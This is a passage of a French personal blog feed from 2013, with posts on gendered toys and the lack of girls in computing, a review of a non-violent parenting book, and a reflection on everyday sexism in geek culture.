&lt;p&gt;La situation n&amp;rsquo;est pas aussi idyllique et il faut encore se battre pour une parfaite égalité de droits et de respect mais on s&amp;rsquo;en rapproche. Je vois de plus en plus d&amp;rsquo;emplois hier masculins occupés aujourd&amp;rsquo;hui par des femmes. Je vois aussi de plus en plus (parce que ça marche dans les 2 sens) d&amp;rsquo;hommes se charger de tâches qui étaient « réservées » hier aux femmes. Les vélos sont rose-princesse ou rouge-spiderman.&lt;/p&gt;
&lt;p&gt;Alors que la mentalité des gens semblent évoluer vers l&amp;rsquo;égalité, les publicitaires et autres constructeurs ont fait un pas de 100 ans en arrière. Ces dernières années, ouvrir un catalogue de jouets &lt;sup id="fnref:f2"&gt;&lt;a class="footnote-ref" href="#fn:f2"&gt;2&lt;/a&gt;&lt;/sup&gt; fait exploser un sexisme cra. Je pourrais plus ou moins m&amp;rsquo;y faire mais non, ça m&amp;rsquo;exaspère si je ne peux pas utiliser le même vélo pour ma fille et pour mon garçon au prétexte qu&amp;rsquo;ils sont trop typés. Je ne veux pas non plus acheter un vélo rose-princesse. D&amp;rsquo;ailleurs qui veut acheter un tel vélo &lt;sup id="fnref:f3"&gt;&lt;a class="footnote-ref" href="#fn:f3"&gt;3&lt;/a&gt;&lt;/sup&gt; ?&lt;/p&gt;
&lt;p&gt;&lt;img alt="velos.png" src="images/velos.png" title="velos.png, mai 2013"&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Tu es une fille, tu auras un vélo rose.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;À côté de ça, on me dit qu&amp;rsquo;il n&amp;rsquo;y a pas assez de filles dans l&amp;rsquo;informatique. Il n&amp;rsquo;est pas spécialement utile de faire des études sur le sujet pour le constater et pourtant &lt;a href="http://www.cairn.info/revue-carrefours-de-l-education-2004-1-page-42.htm"&gt;les sociologues s&amp;rsquo;en chargent&lt;/a&gt;. En résumé, car l&amp;rsquo;article est &lt;em&gt;tlfr&lt;/em&gt; &lt;sup id="fnref:f4"&gt;&lt;a class="footnote-ref" href="#fn:f4"&gt;4&lt;/a&gt;&lt;/sup&gt;, les filles ont été un peu plus nombreuses qu&amp;rsquo;aujourd&amp;rsquo;hui dans les filières informatiques jusque dans les années nonante. Après celles-ci, on ressent à nouveau un déclin de l&amp;rsquo;attrait de la profession.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;En informatique, il existe une noblesse d&amp;rsquo;épée et une noblesse de robe.  &lt;/p&gt;
&lt;p&gt;La noblesse de robe, c&amp;rsquo;est l&amp;rsquo;informatique de gestion : base de données, informatique bancaire, administration, etc. On y trouve des informaticiens « raisonnables » qui considèrent que l&amp;rsquo;informatique est un métier comme un autre, plutôt lucratif.&lt;/p&gt;
&lt;p&gt;Le hacker constitue la noblesse d&amp;rsquo;épée de l&amp;rsquo;informatique, ce sont les informaticiens scientifiques : imagerie, travail en centre de calcul, système, informatique appliquée aux mathématiques ou à la physique. À cela s&amp;rsquo;ajoutent la sécurité informatique et une partie de l&amp;rsquo;informatique de réseau.
&lt;/p&gt;
&lt;p&gt;Extrait de &lt;a href="http://www.cairn.info/revue-carrefours-de-l-education-2004-1-page-42.htm"&gt;La disparition des filles dans les études d&amp;rsquo;informatique : les conséquences d&amp;rsquo;un changement de représentation&lt;/a&gt; de &lt;em&gt;Isabelle Collet&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Que faire pour attirer les filles dans ces filières ?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Cette question est assez fréquemment posée autour de moi et des réflexions sont menées pour essayer «d&amp;rsquo;attirer » (comme le terme est mal choisi et représentatif d&amp;rsquo;un état d&amp;rsquo;esprit) les filles dans ces filières. Cette question me fait sourire, même si j&amp;rsquo;aime être entouré de filles &lt;sup id="fnref:f5"&gt;&lt;a class="footnote-ref" href="#fn:f5"&gt;5&lt;/a&gt;&lt;/sup&gt;, je ne cherche pas à forcer un choix.&lt;/p&gt;
&lt;p&gt;Certains &lt;a href="http://www.awt.be/web/inf/index.aspx?page=inf,fr,100,000,000"&gt;se demandent comment informer mieux&lt;/a&gt; sur ces filières et moi je me dis que &lt;strong&gt;ça se ferait simplement tout seul lorsque l&amp;rsquo;on trouvera des vélos rouges dans les rayons de nos magasins&lt;/strong&gt;…&lt;/p&gt;
&lt;p&gt;.…c&amp;rsquo;est pas gagné.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Ce billet m&amp;rsquo;est venu suite à une lettre qu&amp;rsquo;écrit ma direction à destination des parents du secondaire qui ont tendance à mettre trop vite de côté la filière informatique dès lors que leur enfant est une fille.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;br/&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="http://www.cairn.info/revue-carrefours-de-l-education-2004-1-page-42.htm"&gt;La disparition des filles dans les études d&amp;rsquo;informatique : les conséquences d&amp;rsquo;un changement de représentation&lt;/a&gt; de &lt;em&gt;Isabelle Collet&lt;/em&gt;&lt;br&gt;
&lt;a href="http://www.kelformation.com/editorial/formation-initiale/actu/detail/article/etudes-dinformatique-les-filles-tres-recherchees.html"&gt;Pourquoi les filles ont tort de snober la profession&lt;/a&gt;&lt;br&gt;
&lt;a href="http://www.lalibre.be/actu/belgique/article/363940/les-etudes-en-informatique-attirent-peu-les-filles-malgre-les-debouches.html"&gt;Un article de La Libre parce que c&amp;rsquo;est toujours bien (même vieux)&lt;/a&gt;&lt;br&gt;
&lt;a href="http://www.awt.be/web/inf/index.aspx?page=inf,fr,100,000,000"&gt;Travailler dans l&amp;rsquo;informatique, au-delà des idées reçues…&lt;/a&gt; du Portail Wallonie&lt;br&gt;
&lt;a href="https://web.archive.org/web/20130319120646/http://cafaitgenre.org/2013/03/16/sexisme-chez-les-geeks-pourquoi-notre-communaute-est-malade-et-comment-y-remedier/"&gt;Sexisme chez les geeks, pourquoi notre communauté est malade et comment y     remédier&lt;/a&gt; de &lt;a href="https://twitter.com/Mar_Lard"&gt;Mar_Lard&lt;/a&gt;&lt;br&gt;
&lt;em&gt;&lt;a href="http://hhjr.deviantart.com/art/Tricycle-and-Nostalgia-192553732"&gt;Crédit photo, hhjr&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;
&lt;h4&gt;À lire aussi&lt;/h4&gt;
&lt;p&gt;&lt;a href="2013-03-26-je-suis-un-hommo-blanc-hetero.html"&gt;Je suis un homme blanc, hétéro&lt;/a&gt;&lt;br&gt;
&lt;a href="2013-03-24-infosoc-la-fracture-numerique.html"&gt;Informatique et société, la fracture numérique&lt;/a&gt;&lt;br&gt;
&lt;a href="2013-03-01-generation-y.html"&gt;Generation Y - Réseaux (anti)sociaux et enseignement : entre fascination et rejet&lt;/a&gt;&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;Ouais, c&amp;rsquo;est de l&amp;rsquo;humour ;-) _Édité fév. 2026, le lien est mort et remplacé par un lien vers l&amp;rsquo;archive chez Wayback machine.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f2"&gt;
&lt;p&gt;Je n&amp;rsquo;ouvre jamais un catalogue de jouets depuis qu&amp;rsquo;il est écris « no pub » sur ma boite aux lettres… mais c&amp;rsquo;est ce qu l&amp;rsquo;on m&amp;rsquo;a raconté ;-)&amp;#160;&lt;a class="footnote-backref" href="#fnref:f2" title="Jump back to footnote 2 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f3"&gt;
&lt;p&gt;C&amp;rsquo;est mon avis hein ! Si tu veux acheter un vélo comme ça on restera copains / amis / inconnus ;-)&amp;#160;&lt;a class="footnote-backref" href="#fnref:f3" title="Jump back to footnote 3 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f4"&gt;
&lt;p&gt;Too long for read même &lt;em&gt;asap&lt;/em&gt;&amp;#160;&lt;a class="footnote-backref" href="#fnref:f4" title="Jump back to footnote 4 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f5"&gt;
&lt;p&gt;Rappelez-vous, &lt;a href="2013-03-26-je-suis-un-hommo-blanc-hetero.html"&gt;je suis un homme blanc et hétéro&lt;/a&gt; :-)&amp;#160;&lt;a class="footnote-backref" href="#fnref:f5" title="Jump back to footnote 5 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>Le livre vert</title><link href="http://blog.namok.be/2013-04-19-le-livre-vert.html" rel="alternate"/><published>2013-04-19T00:00:00+02:00</published><updated>2013-04-19T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2013-04-19:/2013-04-19-le-livre-vert.html</id><summary type="html">« Parents épanouis, enfants épanouis » est un guide pour une communication bienveillante avec les enfants. Il propose une approche basée sur l'écoute et le respect mutuel, et aborde des thèmes clés comme la gestion des émotions, la coopération, l'autonomie et l'estime de soi. Un livre essentiel pour améliorer la relation parent-enfant.</summary><content type="html">&lt;p&gt;Si vous me connaissez, vous m&amp;rsquo;avez sans doute déjà entendu parler du &lt;strong&gt;livre vert&lt;/strong&gt;. J&amp;rsquo;ai une fâcheuse tendance à faire (un peu) de battage autour de ce livre car je trouve que son contenu est intéressant pour tout le monde (pas uniquement les parents).&lt;/p&gt;
&lt;p&gt;— Heu oui, mais de quel livre tu parles ? &lt;/p&gt;
&lt;p&gt;&lt;img alt="reading_part_iii_by_matthewpoland-d3hee86.png" src="/images/reading_part_iii_by_matthewpoland-d3hee86.png" title="reading_part_iii_by_matthewpoland-d3hee86.png, avr. 2013" width="100%"&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Parents épanouis, enfants épanouis&lt;/strong&gt; de &lt;em&gt;Adele Faber&lt;/em&gt; et &lt;em&gt;Elaine Mazlish&lt;/em&gt; est un livre sur la communication non violente adaptée aux enfants.&lt;/p&gt;
&lt;p&gt;Ce n&amp;rsquo;est pas à proprement parler une « méthode » et, disons-le tout de suite,  l&amp;rsquo;approche n&amp;rsquo;empêche pas les cris et les pleurs, c&amp;rsquo;est simplement une manière de parler à et de considérer ses enfants (et réciproquement) de manière différente &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
&lt;p&gt;Le principe de base est &lt;strong&gt;l&amp;rsquo;écoute empathique des sentiments de l&amp;rsquo;autre&lt;/strong&gt; &lt;sup id="fnref:f2"&gt;&lt;a class="footnote-ref" href="#fn:f2"&gt;2&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;L&amp;rsquo;&lt;strong&gt;écoute&lt;/strong&gt; consiste à ne pas couper l&amp;rsquo;autre et à le laisser exprimer ce qu&amp;rsquo;il désire exprimer.&lt;/li&gt;
&lt;li&gt;L&amp;rsquo;&lt;strong&gt;empathie&lt;/strong&gt; est plus qu&amp;rsquo;une écoute attentive, j&amp;rsquo;essaie de me mettre à ta place et si ce que tu me dis me parait dérisoire, c&amp;rsquo;est peut-être très important pour toi.&lt;/li&gt;
&lt;li&gt;Les &lt;strong&gt;sentiments&lt;/strong&gt;, c&amp;rsquo;est ce que je ressens… et ce que je ressens m&amp;rsquo;appartient, ce n&amp;rsquo;est ni vrai ni faux.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Chacun essaie d&amp;rsquo;exprimer besoins et sentiments à l&amp;rsquo;autre sans le blesser, en renforçant l&amp;rsquo;autonomie et l&amp;rsquo;estime de soi, en le respectant.&lt;/p&gt;
&lt;p&gt;L&amp;rsquo;idée est vraiment de sortir du schéma : &lt;/p&gt;
&lt;p&gt;— Parce que je suis grand et que j&amp;rsquo;ai raison. Toi, tu es petit et tu as
tort !&lt;/p&gt;
&lt;p&gt;pour parvenir à une écoute &lt;strong&gt;mutuelle&lt;/strong&gt; dans le respect de l&amp;rsquo;autre.&lt;/p&gt;
&lt;p&gt;Pour y arriver (enfin pour tenter d&amp;rsquo;y parvenir), le livre couvre &lt;strong&gt;6 thèmes&lt;/strong&gt; présentés sous la forme de mises en situation suivies d&amp;rsquo;explication et
d&amp;rsquo;exemples &lt;sup id="fnref:f3"&gt;&lt;a class="footnote-ref" href="#fn:f3"&gt;3&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1 &amp;ndash; Aider les enfants aux prises avec des sentiments difficiles&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Aider à identifier un sentiment (colère, tristesse, chagrin, etc.) et reconnaitre que c&amp;rsquo;est ce que l&amp;rsquo;autre ressent à ce moment &lt;sup id="fnref:f4"&gt;&lt;a class="footnote-ref" href="#fn:f4"&gt;4&lt;/a&gt;&lt;/sup&gt;. Et &lt;strong&gt;c&amp;rsquo;est tout&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2 &amp;ndash; Susciter la coopération chez l&amp;rsquo;enfant&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;On va essayer de remplacer la panoplie ordre, sermon, « obéir » par une invitation à participer à la vie de la famille.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3&amp;ndash; Remplacer la punition&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Il s&amp;rsquo;agit ici de trouver comment &lt;strong&gt;agir&lt;/strong&gt; pour montrer son désaccord face à une situation ou à une attitude sans donner une punition.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;4 &amp;ndash; Encourager l&amp;rsquo;autonomie&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Le rôle de parent c&amp;rsquo;est d&amp;rsquo;amener l&amp;rsquo;enfant à être un adulte responsable et autonome. Comment ? En commençant le plus tôt possible.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;5 &amp;ndash; Se débarrasser des étiquettes&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Aider son enfant à ne plus être catalogué de; paresseux, maladroit, « le gentil »…&lt;/p&gt;
&lt;p&gt;Si l&amp;rsquo;on est catalogué de &lt;em&gt;&lt;insère ici ce que l'on te répète tout le temps&gt;&lt;/em&gt;, il est difficile de sortir de ce schéma. Finalement, c&amp;rsquo;est plus facile de faire ce que l&amp;rsquo;on attend de moi et si l&amp;rsquo;étiquette est positive, c&amp;rsquo;est plus agréable pour l&amp;rsquo;entourage mais quelle pression sur le « petit bout » qui est condamné à toujours être gentil / sage / premier de classe…&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;6 &amp;ndash; Favoriser l&amp;rsquo;estime de soi&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Aider l&amp;rsquo;autre à avoir une image &lt;strong&gt;réaliste&lt;/strong&gt; de lui et le complimenter de manière à ce qu&amp;rsquo;il se construise positivement.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Pour conclure,&lt;/strong&gt; ce bouquin nous a bien aidé, il est accompagné d&amp;rsquo;ateliers (et du livre qui va avec) « Parler pour que les enfants écoutent, écouter pour que les enfants parlent… ». Les ateliers ne sont pas indispensables &lt;sup id="fnref:f5"&gt;&lt;a class="footnote-ref" href="#fn:f5"&gt;5&lt;/a&gt;&lt;/sup&gt; par contre en discuter avec d&amp;rsquo;autres qui sont dans le même pétrin et qui veulent utiliser les mêmes outils est très enrichissant !&lt;/p&gt;
&lt;p&gt;Comme nous sommes enthousiastes &lt;sup id="fnref:f6"&gt;&lt;a class="footnote-ref" href="#fn:f6"&gt;6&lt;/a&gt;&lt;/sup&gt; nous en avons acheté 3 que nous prêtons à qui veut !&lt;/p&gt;
&lt;p&gt;&lt;img alt="parents-epanouis-enfants-epanouis-3.jpg" src="/images/parents-epanouis-enfants-epanouis-3.jpg" title="parents-epanouis-enfants-epanouis-3.jpg, avr. 2013"&gt;&lt;/p&gt;
&lt;p&gt;Et si vous voulez en discuter avec nous, n&amp;rsquo;hésitez pas.&lt;/p&gt;
&lt;p&gt;&lt;br/&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="http://goo.gl/LM6Ea"&gt;Amazon, Parents épanouis, enfants épanouis&lt;/a&gt;&lt;br&gt;
&lt;a href="http://www.parents-enfants-epanouis.net/doku.php"&gt;Adultes et enfants épanouis&lt;/a&gt;&lt;br&gt;
&lt;em&gt;Crédit photo, &lt;a href="http://mateuszpisarski.deviantart.com/art/Reading-part-III-210623622"&gt;mateuszpisarski&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;
&lt;h4&gt;À lire aussi&lt;/h4&gt;
&lt;p&gt;&lt;a href="2013-02-03-le-jeu-de-la-mort.html"&gt;Savoir dire non est-ce se rebeller ?&lt;/a&gt;&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;Je peux plus facilement désamorcer les situations « à risques » et si/lorsque je crie c&amp;rsquo;est pour exprimer mon mécontentement face à une situation ou à une attitude et non face à un individu. « Je ne tolère pas que l&amp;rsquo;on mente » et non « Tu es un menteur » par exemple.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f2"&gt;
&lt;p&gt;L&amp;rsquo;idée étant que ça aille dans les deux sens, les parents sont tout autant invités à exprimer leurs sentiments à l&amp;rsquo;enfant.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f2" title="Jump back to footnote 2 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f3"&gt;
&lt;p&gt;J&amp;rsquo;ai eu des difficultés à « entrer dedans » mais si on s&amp;rsquo;accroche (presque) tout ce que est dit est intéressant&amp;#160;&lt;a class="footnote-backref" href="#fnref:f3" title="Jump back to footnote 3 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f4"&gt;
&lt;p&gt;On fera la même chose avec les sentiments positifs: « Comme tu dois te sentir fier d&amp;rsquo;avoir réussi à… »&amp;#160;&lt;a class="footnote-backref" href="#fnref:f4" title="Jump back to footnote 4 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f5"&gt;
&lt;p&gt;J&amp;rsquo;espère ne pas me faire d&amp;rsquo;ennemis, c&amp;rsquo;est simplement ce que je ressens ;-)&amp;#160;&lt;a class="footnote-backref" href="#fnref:f5" title="Jump back to footnote 5 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f6"&gt;
&lt;p&gt;Nous trouvons que le bouquin devrait être lu par tout le monde (même ceux qui n&amp;rsquo;ont pas d&amp;rsquo;enfant)&amp;#160;&lt;a class="footnote-backref" href="#fnref:f6" title="Jump back to footnote 6 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>Je suis un homme blanc hétéro</title><link href="http://blog.namok.be/2013-03-26-je-suis-un-hommo-blanc-hetero.html" rel="alternate"/><published>2013-03-26T00:00:00+01:00</published><updated>2013-03-26T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2013-03-26:/2013-03-26-je-suis-un-hommo-blanc-hetero.html</id><summary type="html">J'aurais pu être une lesbienne noire mais je n'ai pas choisi.</summary><content type="html">&lt;p&gt;&lt;img alt="gameuse" src="/images/Gamer_by_youcantstandmenow.jpg" width="100%"&gt;&lt;/p&gt;
&lt;p&gt;— Je suis un homme blanc, hétéro !&lt;br&gt;
— Bonjour Homme, on t&amp;rsquo;aime.&lt;/p&gt;
&lt;p&gt;J&amp;rsquo;aurais pu être une lesbienne noire mais je n&amp;rsquo;ai pas choisi. Ce sont trois caractéristiques que l&amp;rsquo;on ne choisit pas et avec lesquelles il faut vivre. Pour ma part, j&amp;rsquo;arrive à l&amp;rsquo;assumer et certains diront que j&amp;rsquo;ai de la chance de faire partie de « ce groupe ». &lt;/p&gt;
&lt;p&gt;— Je suis sexiste. Ben ouais, j&amp;rsquo;aime le sexe !&lt;br&gt;
— Perduuu … Rémi ! &lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Sexiste&lt;/strong&gt;  (définition): adj inv Relatif au sexisme, attitude de discrimination basée sur le sexe (féminin la plupart du temps) 
Source &lt;a href="http://dictionnaire.reverso.net/francais-definition/sexiste"&gt;reverso.net&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;— Bon d&amp;rsquo;accord, soyons sérieux un brin&lt;/p&gt;
&lt;p&gt;Un homme et une femme sont deux humains &lt;strong&gt;différents&lt;/strong&gt;. Vouloir nier cette évidence est une aberration.  &lt;/p&gt;
&lt;p&gt;Un homme et une femme ont les &lt;strong&gt;mêmes droits&lt;/strong&gt; et doivent être traités avec le &lt;strong&gt;même respect&lt;/strong&gt;. Vouloir nier cette évidence est une aberration… et pourtant. &lt;/p&gt;
&lt;p&gt;Je veux continuer à avoir le droit de différencier une fille d&amp;rsquo;un garçon tout comme je différencie en fait tout le monde :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;j&amp;rsquo;ai plus d&amp;rsquo;affinité avec Alice qu&amp;rsquo;avec Bob;&lt;/li&gt;
&lt;li&gt;Alice est plus compétente que Bob dans ce domaine;&lt;/li&gt;
&lt;li&gt;Bob est plus grand que Ève;&lt;/li&gt;
&lt;li&gt;je sais qu&amp;rsquo;Alice préfère travailler dehors alors que Bob aime être assis au bureau tandis que Ève est quasi incapable de travailler en équipe;&lt;/li&gt;
&lt;li&gt;… &lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Je veux être reconnu comme quelqu&amp;rsquo;un qui ne fait pas de différence entre un garçon et une fille en terme de droits et de respect… &lt;/p&gt;
&lt;p&gt;Comme je l&amp;rsquo;ai dit, je suis hétéro et, lorsque je matte un cul, c&amp;rsquo;est celui d&amp;rsquo;une fille, pas celui d&amp;rsquo;un garçon ! Dit autrement: &lt;strong&gt;Je suis plus sensible à un bout de string qui dépasse qu&amp;rsquo;à la raie du carreleur …&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="raie du carreleur… et string de la carreleuse" src="/images/arsehole-31.png"&gt;&lt;/p&gt;
&lt;p&gt;Beaucoup le choses ont été dites et écrites ces jours-ci suite à l&amp;rsquo;article de &lt;a href="https://twitter.com/Mar_Lard"&gt;Mar_Lard&lt;/a&gt;, &lt;a href="https://www.cairn.info/revue-du-crieur-2019-3-page-74.htm"&gt;Sexisme chez les geeks : Pourquoi notre communauté est malade, et comment y remédier&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Cet article fait (un peu) le buzz et c&amp;rsquo;est bien. Même si je sais que les « geek » (ce terme est tellement large),tout comme tous les hommes, peuvent être sexistes, je suis resté abasourdi par l&amp;rsquo;ambiance dépeinte chez les &lt;em&gt;gamers&lt;/em&gt;. Je comprend parfaitement que Mar_Lard s&amp;rsquo;insurge et que Maïa (Mazaurette, de sexactu and co) plussoie. Dans ce que l&amp;rsquo;article dénonce, je lis des choses très graves… et du « sexisme ordinaire » qui, comme son nom l&amp;rsquo;indique est peut-être pire car c&amp;rsquo;est celui qu&amp;rsquo;il faut supporter tous les jours. &lt;/p&gt;
&lt;p&gt;Je lis aussi des attitudes de connards sur lesquelles il est inutile de s&amp;rsquo;éterniser. Je (re)dirais simplement que tout n&amp;rsquo;est pas sexisme / racisme… c&amp;rsquo;est parfois simplement de la méchanceté gratuite… même pas dirigée vers toi (la fille, le noir, le juif…) &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt;. &lt;/p&gt;
&lt;p&gt;Les réactions, lorsqu&amp;rsquo;une fille défend son droit au respect et à l&amp;rsquo;égalité sont diverses et variées… En fait, non. Pas du tout ! Si la réaction peut varier, la forme, est souvent la même; &lt;/p&gt;
&lt;p&gt;— Sale pute, mal baisée !&lt;/p&gt;
&lt;p&gt;L&amp;rsquo;homme (je sais que je généralise et c&amp;rsquo;est mal) pense que la femme, pour peu qu&amp;rsquo;elle soit son type, est un coup potentiel. Non, ce n&amp;rsquo;est pas uniquement l&amp;rsquo;influence du porno. C&amp;rsquo;est aussi l&amp;rsquo;image que la pub nous renvoie. Regarde cette femme sur l&amp;rsquo;affiche comme elle est désirable (avec, au choix, son aspirateur, son shampoing, sa voiture, son maquillage, son canard WC…). Elle est désirable &lt;strong&gt;pour moi&lt;/strong&gt;. Je m&amp;rsquo;imagine donc que dans la vraie vie, une fille à peine jolie doit supporter ma drague à grands coups de &lt;/p&gt;
&lt;p&gt;— T&amp;rsquo;es bonne ! Y a moyen.&lt;br&gt;
— Non connard !&lt;/p&gt;
&lt;p&gt;Ce que j&amp;rsquo;ai bien compris. &lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Je n&amp;rsquo;accoste pas une fille dans la rue « comme ça ». Si elle est dans la rue, c&amp;rsquo;est pour se rendre du point A au point B, pas pour se faire draguer (dixit Maïa)&lt;/li&gt;
&lt;li&gt;Je ne demande pas après trois minutes de conversation (sur le net) si c&amp;rsquo;est vraiment une fille. &lt;/li&gt;
&lt;li&gt;Je ne doute pas des compétences de l&amp;rsquo;autre sous prétexte que c&amp;rsquo;est une fille. Je doute des compétences de l&amp;rsquo;autre parce que je suis méfiant ou bien je fais à priori confiance parce que je suis naïf &lt;sup id="fnref:f2"&gt;&lt;a class="footnote-ref" href="#fn:f2"&gt;2&lt;/a&gt;&lt;/sup&gt;&lt;/li&gt;
&lt;li&gt;Lorsque je parle à un groupe principalement masculin, je ne dis pas « Tiens une fille ! » ou bien « Tiens, comme nous avons justement une fille dans l&amp;rsquo;assemblée, c&amp;rsquo;est elle qui va faire la démo (comme ça on pourra mater son cul) »&lt;/li&gt;
&lt;li&gt;En été, les filles ne &lt;strong&gt;sont&lt;/strong&gt; pas plus chaudes qu&amp;rsquo;en hiver, elles &lt;strong&gt;ont&lt;/strong&gt; plus chaud, c&amp;rsquo;est pour ça qu&amp;rsquo;elles mettent des jupes et c&amp;rsquo;est tout ! &lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;— Ouais mais c&amp;rsquo;est moins drôle !&lt;br&gt;
— Peut-être. Essaie.&lt;/p&gt;
&lt;p&gt;Ça c&amp;rsquo;est la partie «respect» … et pour la partie « je suis hétéro » ? &lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;La vie doit réserver une place au jeu de la séduction. Peut-on encore « draguer » ?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Suite à toutes ses lectures, je me suis souvent demandé (bien avant l&amp;rsquo;article de Mar_Lard) ce qu&amp;rsquo;il en est de ce jeu de la séduction. Lorsque je rencontre une fille « qui me plait » &lt;sup id="fnref:f3"&gt;&lt;a class="footnote-ref" href="#fn:f3"&gt;4&lt;/a&gt;&lt;/sup&gt; est-ce que je peux lui faire savoir ? Est-ce que je peux jouer à séduire même si l&amp;rsquo;on sait que ça ne débouche sur rien, juste pour le plaisir de savoir que l&amp;rsquo;on peut plaire ? Est-ce que je peux encore être « galant » &lt;sup id="fnref:f4"&gt;&lt;a class="footnote-ref" href="#fn:f4"&gt;3&lt;/a&gt;&lt;/sup&gt; ?&lt;/p&gt;
&lt;p&gt;Voici mes quelques règles (les filles, n&amp;rsquo;hésitez pas à dire si je me trompe) :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;ne s&amp;rsquo;autoriser « des choses » (blagues, gestes, paroles…) qu&amp;rsquo;au fur et à mesure ou l&amp;rsquo;on connait l&amp;rsquo;autre et que l&amp;rsquo;on sait comment ça va être perçu;&lt;/li&gt;
&lt;li&gt;éviter d&amp;rsquo;être lourd et répétitif;&lt;/li&gt;
&lt;li&gt;ne plus être galant (il n&amp;rsquo;empêche que l&amp;rsquo;on peut être courtois et attentif aux autres quel que soit leur sexe. Ça n&amp;rsquo;évitera donc pas de porter la valise d&amp;rsquo;un autre ou de se retrouver debout dans le train);&lt;/li&gt;
&lt;li&gt;&amp;ndash;si&amp;ndash; quand tu mates, tu ne dis rien à personne et tu le fais très discrètement et sans insister (les filles font pareil)&lt;/li&gt;
&lt;li&gt;quelqu&amp;rsquo;un que tu ne connais pas, tu le considères comme &lt;em&gt;« Genre: inconnu »&lt;/em&gt; … après tu vois.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Si c&amp;rsquo;est moins drôle tant pis ! Il restera des moments et des espaces pour rire, pas d&amp;rsquo;inquiétude. Comme je ne supporterais pas que l&amp;rsquo;on me dise tout les jours « Un mec, ça ne sait pas faire la lessive », je m&amp;rsquo;abstiens (enfin, j&amp;rsquo;essaie) de faire du sexisme ordinaire… &lt;/p&gt;
&lt;p&gt;&lt;br/&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="http://www.madmoizelle.com/pere-hacke-donkey-kong-pauline-153541"&gt;Chouette initiative d&amp;rsquo;un père, c&amp;rsquo;est la fille qui va sauver le mec dans Donkey Kong&lt;/a&gt;&lt;br&gt;
